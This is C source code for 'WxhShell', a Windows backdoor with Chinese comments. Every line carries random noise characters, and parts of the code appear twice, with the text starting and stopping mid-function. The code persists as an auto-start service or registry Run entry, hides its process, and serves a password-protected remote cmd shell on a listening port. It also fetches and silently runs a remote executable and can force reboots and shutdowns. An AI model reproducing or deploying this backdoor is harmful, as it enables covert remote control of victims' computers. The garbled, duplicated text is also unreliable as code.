"GetModuleBaseNameA"); --"5yGOL NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [^}bc-9?i 8$]SvfX if (!NtQueryInformationProcess) return 0; YI*H]V%w G$'UK hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9]ZfSn) if(!hProcess) return 0; (-0d@eqw q({-C if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Tf!6N<dRXR VByA6^JR CloseHandle(hProcess); ;Dp*.YJ CfS;F hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ewn\'RLZ"@ if(hProcess==NULL) return 0; vv2[t _8y4U[L HMODULE hMod; .p=J_%K}0x char procName[255]; LqI&1$# unsigned long cbNeeded; N-2_kjb! ! jApV if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A#?Cts,M 0Cf'\2
CloseHandle(hProcess); S2|pn\0V V\L%*6O if(strstr(procName,"services")) return 1; // 以服务启动 &$2d=q8mh jPz1W4pk return 0; // 注册表启动 >#&2 5,Q } N.Q}.(N0 seAPVzWUU // 主模块 #+_=(J int StartWxhshell(LPSTR lpCmdLine) iuXXFuh { ?RsPAL SOCKET wsl; x\ #K2 BOOL val=TRUE; i9qIaG/ int port=0; l44QB8
9 struct sockaddr_in door; XABP}|aWK N$t<&5+ if(wscfg.ws_autoins) Install(); [OOQ0c~ ]G8"\J4 & port=atoi(lpCmdLine); ?-2s}IJO XefmC6X if(port<=0) port=wscfg.ws_port; guf&V}& ;<T,W[3J WSADATA data; Mr4,?Z&`-d if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sdB(sbSF |Bi7:w if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; h$9ut@I setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .]4MtG door.sin_family = AF_INET; 9a+Y )?z door.sin_addr.s_addr = inet_addr("127.0.0.1"); A\9LJ#E door.sin_port = htons(port); 0uM&F[.x@g -\B*reC if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { b|E ZD3y closesocket(wsl); 8BZ&-j{ return 1; *]R5bj.!o } :Sd`4"AA sz/^Ie-~ if(listen(wsl,2) == INVALID_SOCKET) { ! N!pvK; closesocket(wsl); EBL-+%J8 return 1; ,UVu.RjXN } @x!+_z Wxhshell(wsl); 0k5 uqGLXe WSACleanup(); k$f2i,7' 4:**d[|1 return 0; e9/Mjq\
tKh } P {n*X W{Z7= // 以NT服务方式启动 2)0J@r' VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1k)pJzsc { +C,/BuG DWORD status = 0; R:Ih#2R DWORD specificError = 0xfffffff; F1-C8V2H {SXSQ '= serviceStatus.dwServiceType = SERVICE_WIN32; ^\`a-l^ serviceStatus.dwCurrentState = SERVICE_START_PENDING; @'M"c
q serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Tjv'S
< serviceStatus.dwWin32ExitCode = 0; aqQ+A:g serviceStatus.dwServiceSpecificExitCode = 0; S!gzmkGcj serviceStatus.dwCheckPoint = 0; #M'V%^x P serviceStatus.dwWaitHint = 0; kQd|qZ=:w PP!-*~F0Jr hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3 4%B0 if (hServiceStatusHandle==0) return; ^LB] 7hPwa3D^ status = GetLastError(); / bH2Z if (status!=NO_ERROR) :Ru8Nm { %-K5sIz serviceStatus.dwCurrentState = SERVICE_STOPPED; 84e8z { serviceStatus.dwCheckPoint = 0; -z-yk~F serviceStatus.dwWaitHint = 0; ;&}z
L.!jo serviceStatus.dwWin32ExitCode = status; (jyufHm serviceStatus.dwServiceSpecificExitCode = specificError; f9kdO& SetServiceStatus(hServiceStatusHandle, &serviceStatus); xw_)~Y%\ return; (4ZO[Ae } -K8F$\W !||Gfia serviceStatus.dwCurrentState = SERVICE_RUNNING; |sFd5X serviceStatus.dwCheckPoint = 0; @+p(% serviceStatus.dwWaitHint = 0;
f.aa@> if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #OjyUQ, } {29aNm /#@tv~Z^ // 处理NT服务事件,比如:启动、停止 j[w=pF,o VOID WINAPI NTServiceHandler(DWORD fdwControl) HRM-r~2:-] { -gt?5H h switch(fdwControl) oyk&]'> { L%\Wt1\[ case SERVICE_CONTROL_STOP: iOb7g@= serviceStatus.dwWin32ExitCode = 0; 0#uB[N serviceStatus.dwCurrentState = SERVICE_STOPPED; )wD/<7; serviceStatus.dwCheckPoint = 0; _
gYj@
% serviceStatus.dwWaitHint = 0; _Ds,91<muQ { y`7<c5zD SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6dz^%Ub } W1)<!nwA return; W+"^! p| case SERVICE_CONTROL_PAUSE: .o C!~' serviceStatus.dwCurrentState = SERVICE_PAUSED; YtWw)IK break; !plu;w case SERVICE_CONTROL_CONTINUE: I''n1v?N serviceStatus.dwCurrentState = SERVICE_RUNNING; \.H9e/vU` break; |V{ Q case SERVICE_CONTROL_INTERROGATE: vp!F6ZwO break; +'olC^?5 } }; )YAU|sCAi$ SetServiceStatus(hServiceStatusHandle, &serviceStatus); b30Jr2[ } !'BXc%`x[ O
j:I @c // 标准应用程序主函数 X9FO"(J int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) tH
*| { vbtZ5Gm S|LY U!IWZ // 获取操作系统版本 5%fWX'mS OsIsNt=GetOsVer(); _JNYvngm GetModuleFileName(NULL,ExeFile,MAX_PATH); r`EjD}2d F?H=2mzKbz // 从命令行安装 &zEBfr if(strpbrk(lpCmdLine,"iI")) Install(); =GF=_Ac u1#(~[.
// 下载执行文件 ?(K=du if(wscfg.ws_downexe) { y6[ le*T if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i(cKg&+ktd WinExec(wscfg.ws_filenam,SW_HIDE); c@}t@k } >ZG$8y 'j </xf4.C if(!OsIsNt) { R@tEC)Zn // 如果时win9x,隐藏进程并且设置为注册表启动 ;A7JX:*?y= HideProc(); m9:ah< StartWxhshell(lpCmdLine); SvvNk } w <"mS*Q else &$_!S!Sa/ if(StartFromService()) eQ8t.~5;- // 以服务方式启动 dlCYdwP StartServiceCtrlDispatcher(DispatchTable); i}v.x else C|3Xz[k{ // 普通方式启动 ZxT
E(BQv StartWxhshell(lpCmdLine); BQg3+w:> .7b%7dQ<\ return 0; `Z5dRLrd } mR
XRuK DQXcf*R Ny$3$5/ GQ@mQ=i =========================================== /Qr`au I{[Z
2YW;=n Gbclu.4 .o/uA HZWt>f " ~ *"iLf@, =QtFJ9\ #include <stdio.h> `\\s%}vZ*T #include <string.h> Q{950$)L #include <windows.h> gSw<C+ #include <winsock2.h> zixG}' #include <winsvc.h> y'4Qt.1ukN #include <urlmon.h> Q/0gd? U? nC%qdzT #pragma comment (lib, "Ws2_32.lib") C<(oaeQY #pragma comment (lib, "urlmon.lib") Fih
pp< Ow4(1eE_ #define MAX_USER 100 // 最大客户端连接数 +M_ _\7 #define BUF_SOCK 200 // sock buffer 4E=v)C' #define KEY_BUFF 255 // 输入 buffer L{8_6s(: LOfw
#+]d #define REBOOT 0 // 重启 <Ohi+a%6 #define SHUTDOWN 1 // 关机 r#)1/`h -6NoEmb)\' #define DEF_PORT 5000 // 监听端口 ZM v\j|{8 -wg}X-'z0 #define REG_LEN 16 // 注册表键长度 vMEN14;yH_ #define SVC_LEN 80 // NT服务名长度 /(5"c> sr&W+4T // 从dll定义API @$%GszyQ' typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y<Xu65 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fDqT7}L typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x:!s+q`
s typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bl^Ihza .yXqa"p // wxhshell配置信息 F/>\uzu struct WSCFG { g:JSy int ws_port; // 监听端口 L98T!5) char ws_passstr[REG_LEN]; // 口令 ~).D\Q\ int ws_autoins; // 安装标记, 1=yes 0=no JRFUNy1+e1 char ws_regname[REG_LEN]; // 注册表键名 ws!~MSIy char ws_svcname[REG_LEN]; // 服务名 G(#t,}S}@ char ws_svcdisp[SVC_LEN]; // 服务显示名 !^su=c char ws_svcdesc[SVC_LEN]; // 服务描述信息 =VuSi(d;e{ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p5or"tK int ws_downexe; // 下载执行标记, 1=yes 0=no H#;*kc
a4 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" GK'p$`oJm char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hd9HM5{p -X$EE$: }; ([<HFc` QtKcv7:4 // default Wxhshell configuration x$BNFb%I1 struct WSCFG wscfg={DEF_PORT, jUA~}DVD "xuhuanlingzhe", -W('^v_* 1, ;; +AdN5 "Wxhshell", ;j1E 6 "Wxhshell", `<se&IZE "WxhShell Service", KU` *LB: "Wrsky Windows CmdShell Service", T&]-p:mg^ "Please Input Your Password: ", ~i%=1&K&` 1, QWfSm^
t "http://www.wrsky.com/wxhshell.exe", {P~rf&Ee "Wxhshell.exe" d8jH?P-" }; -9= DDoO ySO\9#Ho // 消息定义模块 9c)#j&2?H char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;n(f?RO3X char *msg_ws_prompt="\n\r? for help\n\r#>"; Fk 3(( n= char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; qovsM M char *msg_ws_ext="\n\rExit."; rn*'[i? char *msg_ws_end="\n\rQuit."; ,*6K3/kW char *msg_ws_boot="\n\rReboot..."; l|gi2~ %Y char *msg_ws_poff="\n\rShutdown..."; mXyP;k char *msg_ws_down="\n\rSave to "; ;i6~iLY ;NRh0)%|o char *msg_ws_err="\n\rErr!"; [C6ba{9B char *msg_ws_ok="\n\rOK!"; n
Ab~ ?}s;,_GH char ExeFile[MAX_PATH]; &F~d~;G"q int nUser = 0; o(jLirnk HANDLE handles[MAX_USER]; ZJBb%d1; int OsIsNt; tjXg iVZ}+Ct<" SERVICE_STATUS serviceStatus; xE?KJ SERVICE_STATUS_HANDLE hServiceStatusHandle; zs#-E_^%M +X^GS^mz // 函数声明 W$zRUG- int Install(void); xo'!$a}I2 int Uninstall(void); P5_Ajb(@' int DownloadFile(char *sURL, SOCKET wsh);
{ %X2K int Boot(int flag); lF!PiL void HideProc(void); @s-P!uCaT int GetOsVer(void); "V]*ov&[ int Wxhshell(SOCKET wsl); z fSE7i0 void TalkWithClient(void *cs); mk1R~4v int CmdShell(SOCKET sock); OmWEa int StartFromService(void); f't.?M int StartWxhshell(LPSTR lpCmdLine); K)LoZ^x0) mv8H:T VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `X@\Zv=} VOID WINAPI NTServiceHandler( DWORD fdwControl ); d|NW&PG Pqya%j // 数据结构和表定义 %[*-aA SERVICE_TABLE_ENTRY DispatchTable[] = 0@zJa;z' { ?(=|!`IoO {wscfg.ws_svcname, NTServiceMain}, (?1$ {NULL, NULL} KZ7B2 }; ?tjEXg>ny z U[pn)pe // 自我安装 (rBsh6@) int Install(void) Zio!j%G { #2_FM!e char svExeFile[MAX_PATH]; V[/9?5pM HKEY key; 06.%9R{ strcpy(svExeFile,ExeFile); ,ZJ}X 9$< w ea // 如果是win9x系统,修改注册表设为自启动 q][kD2 if(!OsIsNt) { X.4WVI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U%:%. Bys RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [l5jPL}6 RegCloseKey(key); >]~581fYf if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :
Z<\R0 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PDD2ouv4 RegCloseKey(key); `S|F\mI~
return 0; $GRw k>N } ~wW]ntZm } 2Cp4aTGv# } 3pWav
1" else { 8m
iJQIq ^;PjO|mD
Z // 如果是NT以上系统,安装为系统服务 f<bB= 9J SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {k.:DH) if (schSCManager!=0) fKY-@B[| { 7Fo^:" SC_HANDLE schService = CreateService ?{TWsuP7 ( \ 2y/: schSCManager, ,V9qiu=m
wscfg.ws_svcname, uZn_*_J! wscfg.ws_svcdisp, Gxe)5,G SERVICE_ALL_ACCESS, SnFyK5 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8` +=~S SERVICE_AUTO_START, o4FHR+u<M SERVICE_ERROR_NORMAL, ,byc!P svExeFile, <<d # NULL, A Qjv?
4)T NULL, wGLMLbj5 NULL, i_*yS+Z; NULL, _oc6=Z NULL q&@s/k ); SzpUCr" if (schService!=0) &{8:XJe*,% { zy$jTqDH CloseServiceHandle(schService); $jh$nMx)! CloseServiceHandle(schSCManager); ^ou)c/68aQ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9)tb= strcat(svExeFile,wscfg.ws_svcname); _\+]/rY9o if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { UiV#w#&P RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :} =lE"2 RegCloseKey(key); QY)p![6Fj return 0; h623)C; } `e'wWV } *Ze0V9$' CloseServiceHandle(schSCManager); %l&oRBC } k5-4^ } ~|=D.}#$ Q9OCf"n $ return 1; [6l0|Y } *RS/`a;, G)s.~ T // 自我卸载 f{VV U/$ int Uninstall(void) |Yw k { :|V650/ HKEY key; Y(6evo&IR E}9wzPs if(!OsIsNt) { mF@7;dpr if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hA 5p'a+K RegDeleteValue(key,wscfg.ws_regname); _(J#RH RegCloseKey(key); Y({
R\W| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k#pO+[ x RegDeleteValue(key,wscfg.ws_regname); Mu/(Xp6 2 RegCloseKey(key); :u9'ZHkZ return 0; DQ+6VPc^o } \l(J6Tu } 8zeeC
eI U } >6Uc|D else { L,A+" -'qVnu SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J(}PvkA if (schSCManager!=0) \VhG'd3k { |qe;+)0>K SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _(g0$vRP~ if (schService!=0) ~-vCY { AmIW$(Ce if(DeleteService(schService)!=0) { E'4Psx9: = CloseServiceHandle(schService); 4#>Z.sf CloseServiceHandle(schSCManager); ?u:`?(\ return 0; L~/,;PHN } f$:Y'$Z1 CloseServiceHandle(schService); lv/im/]v } l9uocP:D CloseServiceHandle(schSCManager); 3 orZBT } I]d-WTd } X[Ufq^fyA /v9qrZ$$ return 1; R/"f } TOG4=y-N ?`e@ o? // 从指定url下载文件 GFLat int DownloadFile(char *sURL, SOCKET wsh) =$4I}2 { f@YdL6&d- HRESULT hr; BhDg\oxZ char seps[]= "/"; +0U=UV)U char *token; s1wlO y char *file; d@ 8M_
O | char myURL[MAX_PATH]; :AlvWf$d char myFILE[MAX_PATH]; !dwZ` D P6kDtUXF strcpy(myURL,sURL); mWZP.w^- token=strtok(myURL,seps); 'i$._Tx while(token!=NULL) "9'3mmZm=? { J|{50?S{^ file=token;
t* Ct* token=strtok(NULL,seps); )rP,+ B?W } \azMF} mb D)x^?! GetCurrentDirectory(MAX_PATH,myFILE); ^k7I+A strcat(myFILE, "\\"); @4UX~=:686 strcat(myFILE, file); A^FkU send(wsh,myFILE,strlen(myFILE),0); hNh!H<}|m8 send(wsh,"...",3,0); D+:s{IcL< hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); KF#^MEw% if(hr==S_OK) I1m[M? return 0; @P~%4:!Hr else ?&9=f\/P return 1; *K_8=TIA* 0IqGy}+VU } d6*84'|! >6yQuB // 系统电源模块 ^G`6Zg;
int Boot(int flag) l4i51S" { GdUsv HANDLE hToken; Wap4:wT TOKEN_PRIVILEGES tkp; {.k IC@^O }Fu1Y@M% if(OsIsNt) { uMva5o OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]/Nt LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7xO05)bz tkp.PrivilegeCount = 1; _+9i tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |U1 [R\X AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "{~FEx4 if(flag==REBOOT) { ]cP%d-x} if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) zAM9%W2v_ return 0; @~s5 {4 } dakHH@Q else { ;UgwV/d if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @k;65'"Q return 0; VD&wO'U } @yb'h`f] } M2ex
3m else { G{6@]72 if(flag==REBOOT) { )jl@hnA if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) : 8>zo return 0; bC+ZR{M } #!z-)[S.+ else { e0y.J if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Hy:x.'i return 0; $+J39%Y!^ } /9kxDbj } XdThl 7#+Ih-&EQ return 1; ~Yc~_)hD } % t,42jQ9 ^A&{g.0 // win9x进程隐藏模块 (*r2bm2FPO void HideProc(void) ]T/%Bau { yLLA:5Q1 U@).jpN HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _Zav Y<6 if ( hKernel != NULL ) !I1p`_(_7 { |)To 0Z pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); MkFWZ9c3 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3HXeBW FreeLibrary(hKernel); V<|N}8{Z2a } pSC{0Y$g ~rO&Y{aG# return; r6\g#} } DZL(G [ @F(er // 获取操作系统版本 :tO?+1 int GetOsVer(void) !]s=9(O { <<S4l~"o OSVERSIONINFO winfo; eD7\ ,}O winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); KL?<lp" GetVersionEx(&winfo); |0Fo{ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8*&-u +@% return 1; B /3~[ ' else }N-UlL( return 0; XelFGT E } W20- oZ8 XOqHzft h6 // 客户端句柄模块 dEXhn int Wxhshell(SOCKET wsl) A4l"^dZc { _:Q^mV=;j SOCKET wsh; }P%gwgPK struct sockaddr_in client; $I-iq
@ DWORD myID; 3F;0a ;[ @>U9CL" while(nUser<MAX_USER) *g}==o` { fXnTqKAfu6 int nSize=sizeof(client); _Q^jk0K8ga wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =aj|auu if(wsh==INVALID_SOCKET) return 1; +e>G V61 >h2qam handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "K>!+< if(handles[nUser]==0) 9{nU\am!\ closesocket(wsh); YRZw|H{>t else o|n;{zT" nUser++; J%ws-A?6rN } Hh](n<Bs WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); kKbbsB ~7}no}7 return 0; sR PQr? } _d~GY,WTdO |:(B I5&S // 关闭 socket ;QuxTmWp^ void CloseIt(SOCKET wsh) q{*[uJ}Xc" { YVRE9 closesocket(wsh); w0js_P-uv nUser--; Yy[=E\z ExitThread(0); ^+~$eg&js } uq:'`o-1 .-s!} P" // 客户端请求句柄 _kOuD}_| void TalkWithClient(void *cs) i-0AcN./p { T06w`'aL <5]_u: SOCKET wsh=(SOCKET)cs; 9|>y[i char pwd[SVC_LEN]; 3H"F~_H char cmd[KEY_BUFF]; p(4Ek" char chr[1]; G@ybx[_[@ int i,j; +A,cdi9z z&GGa`T" while (nUser < MAX_USER) { mNe908Yw m|cRj{xZF if(wscfg.ws_passstr) { jvd3_L-@E< if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0~<t :q! //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VasQ/ //ZeroMemory(pwd,KEY_BUFF); 3 5-FD{ i=0; *Z"Kvj;>u while(i<SVC_LEN) { /Jk.b/t.*S t?uw^nV 3E // 设置超时 cEJ_z(\=hr fd_set FdRead; F r2
+p struct timeval TimeOut; ,h3,&, FD_ZERO(&FdRead); ;XYfw) FD_SET(wsh,&FdRead); 3kJSz-_M TimeOut.tv_sec=8; T^xp2cZ TimeOut.tv_usec=0; H'EBe;ccM int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =8r,-3lC; if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); OZObx <
R@&<E6 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2(D&jL pwd=chr[0]; wL0"1Ya if(chr[0]==0xd || chr[0]==0xa) { kgmb<4p pwd=0; jS/$o ? break; U/(R_U>= } yCg>]6B i++; H<b4B$/ } 4f0dc\$ y7*^H // 如果是非法用户,关闭 socket 5o(=?dXm4 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Z[j-.,Qu } )>=|oY3 )^^}!U#|e send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~>$(5s2 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S
1Ji\ ^T@-yys while(1) { .fW`/BXE V|0UwS\n ZeroMemory(cmd,KEY_BUFF); -H_7GVSnl B T{({3 // 自动支持客户端 telnet标准 uqy~hY j=0; 9>@"W- while(j<KEY_BUFF) { 1G8t=IA%D if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b;|^62 cmd[j]=chr[0]; eP3 itrH( if(chr[0]==0xa || chr[0]==0xd) { :\1&5Pm] cmd[j]=0; 9Bmgz =8 break; JeCEj=_Z } X_|} b[b j++; }fxH>79g } -3b0;L&4>x lu.2ZQE // 下载文件 Ki@8 if(strstr(cmd,"http://")) { sAc)X!} send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0P53dF if(DownloadFile(cmd,wsh)) BQ&h&57K send(wsh,msg_ws_err,strlen(msg_ws_err),0); /L[:C=u else }`^<ZNkb/ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4 ]8PF }
Q{Bj(f else { bm7$D Kp# r*3XM{bZ/@ switch(cmd[0]) { 'XQv> J A><%"9pZ // 帮助 +Q_Gm3^ case '?': { L_Ai/' send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ri-wbYFaP break; $S cjEG:6 } d ly 0874 // 安装 &k{@:z case 'i': { AU$5"kBE if(Install()) %I=J8$B]f send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y2D)$ else -s!PO;qm send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $fvUb_n break; Ul@'z| } $1@{Zz!S // 卸载 Hm^p^,}_x case 'r': { {S&&X&A`v if(Uninstall()) *AN#D?X_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); |m EJJg`"7 else %yrP: fg/ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O@Kr}8^, break; Ua3ERBX{ } BR%: `uiQ< // 显示 wxhshell 所在路径 (c_hX( case 'p': { ^
pR& char svExeFile[MAX_PATH]; a:]yFi:Su strcpy(svExeFile,"\n\r"); Zj<T#4?8 strcat(svExeFile,ExeFile); Q\z*q,^R send(wsh,svExeFile,strlen(svExeFile),0); |Z/ySAFM break; &boBu^,94 } q.X-2jjpx: // 重启 (6+0U1[Iz case 'b': { tE>:kx0*3 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J8D-a! if(Boot(REBOOT)) QBo^{], send(wsh,msg_ws_err,strlen(msg_ws_err),0); tr} $82Po else { wLbnsqa closesocket(wsh); Y{'G2)e ExitThread(0); Stw6%T- } y|mR'{$I break; Q&\k"X 1 } eK@Y] !lz // 关机 p 5'\< gQ case 'd': { u60l - send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %~[F^ if(Boot(SHUTDOWN)) -
|'wDf?H send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1f:k:Y9i else {
t|DYz#] closesocket(wsh); >y@w-,1he ExitThread(0); K&h|r`W( } ^YZ#P0 y break; MG@19R2s } Dx%fW` // 获取shell ;g*6NzdA case 's': { (^4%Fk&I- CmdShell(wsh); 7> Qt O closesocket(wsh); DQ}]'*@? ExitThread(0); tpctz~ . break; *dl@)~i } ,O+7nByi[V // 退出 1$W!<:uh case 'x': { Tk:y>P!%a send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .PxM
#;i2 CloseIt(wsh); _Owz% break; nNKL{Hp } :U>
oW97l // 离开 XDGZqkt case 'q': { ]9:G3vq send(wsh,msg_ws_end,strlen(msg_ws_end),0); '37b[~k4 closesocket(wsh); :[&X*bw[ WSACleanup(); "8I4]' exit(1); T_dd7Ym'8 break; \NqC i'& } ( 65p/$Vh } A.FI] K@ } o5R\7}]GE )qIK7; // 提示信息 hd B[H8Q if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )Fw)&5B! } y()( 8L } V_kE"W) ;rKYWj>IR return; AQ5v`xE4 } ao!r6:&v$e 5 $J // shell模块句柄 @6SSk=9_S int CmdShell(SOCKET sock) ik*_,51Zj { ,L;vN6~ STARTUPINFO si; kes'q8k ZeroMemory(&si,sizeof(si)); $%-?S]6) si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v=>Gvl3&U si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; URgF8?n PROCESS_INFORMATION ProcessInfo; pS\>X_G3 char cmdline[]="cmd"; AngwBZ@ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ._Xtb,p{ return 0; lUEyo.xVt } K;l'IN"N :S12=sFl$ // 自身启动模式 ?+\,a+46P_ int StartFromService(void) \YS?}! 0 { nz\fN?q typedef struct rWXW}Yg { De_</1Au!2 DWORD ExitStatus; as4NvZ@+r DWORD PebBaseAddress; F?kVW[h?q DWORD AffinityMask; @El<"\ DWORD BasePriority; *@nUas2" ULONG UniqueProcessId; xJhbGK ULONG InheritedFromUniqueProcessId; `,Gk1~Wv } PROCESS_BASIC_INFORMATION; [
UJj*n )QD}R36Ic PROCNTQSIP NtQueryInformationProcess; `9l\~t(M
o{p_s0IX;S static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3XtGi<u static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @UJmbD{ z
sPuLn9G HANDLE hProcess; \tx/!tA PROCESS_BASIC_INFORMATION pbi; }nl)*l rYQ@"o0/Y HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); GB3B4)cX4Y if(NULL == hInst ) return 0; : 4WbDeR l0{DnQA>I g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P}`1#$ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); iurB8~Y NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }i:'f2/ VHCzlg if (!NtQueryInformationProcess) return 0; h6 i{5\7. m5N&7qgp hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wlM
?gQXU[ if(!hProcess) return 0; w ZAXfNA ~0|hobk if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {6sfa?1j Fr3t[:D CloseHandle(hProcess); x[" 1.uQ(>n hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); su;S)yZb if(hProcess==NULL) return 0; a7G2C oM8 di2=P)3 HMODULE hMod; /g''-yT7# char procName[255]; dAl<'~g unsigned long cbNeeded; Zd ,= V bOLTc if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RfG$Px ' +hgCk87%# CloseHandle(hProcess); ,r;d { ]H~,K ]@. if(strstr(procName,"services")) return 1; // 以服务启动 /H@")je XH$|DeAFM return 0; // 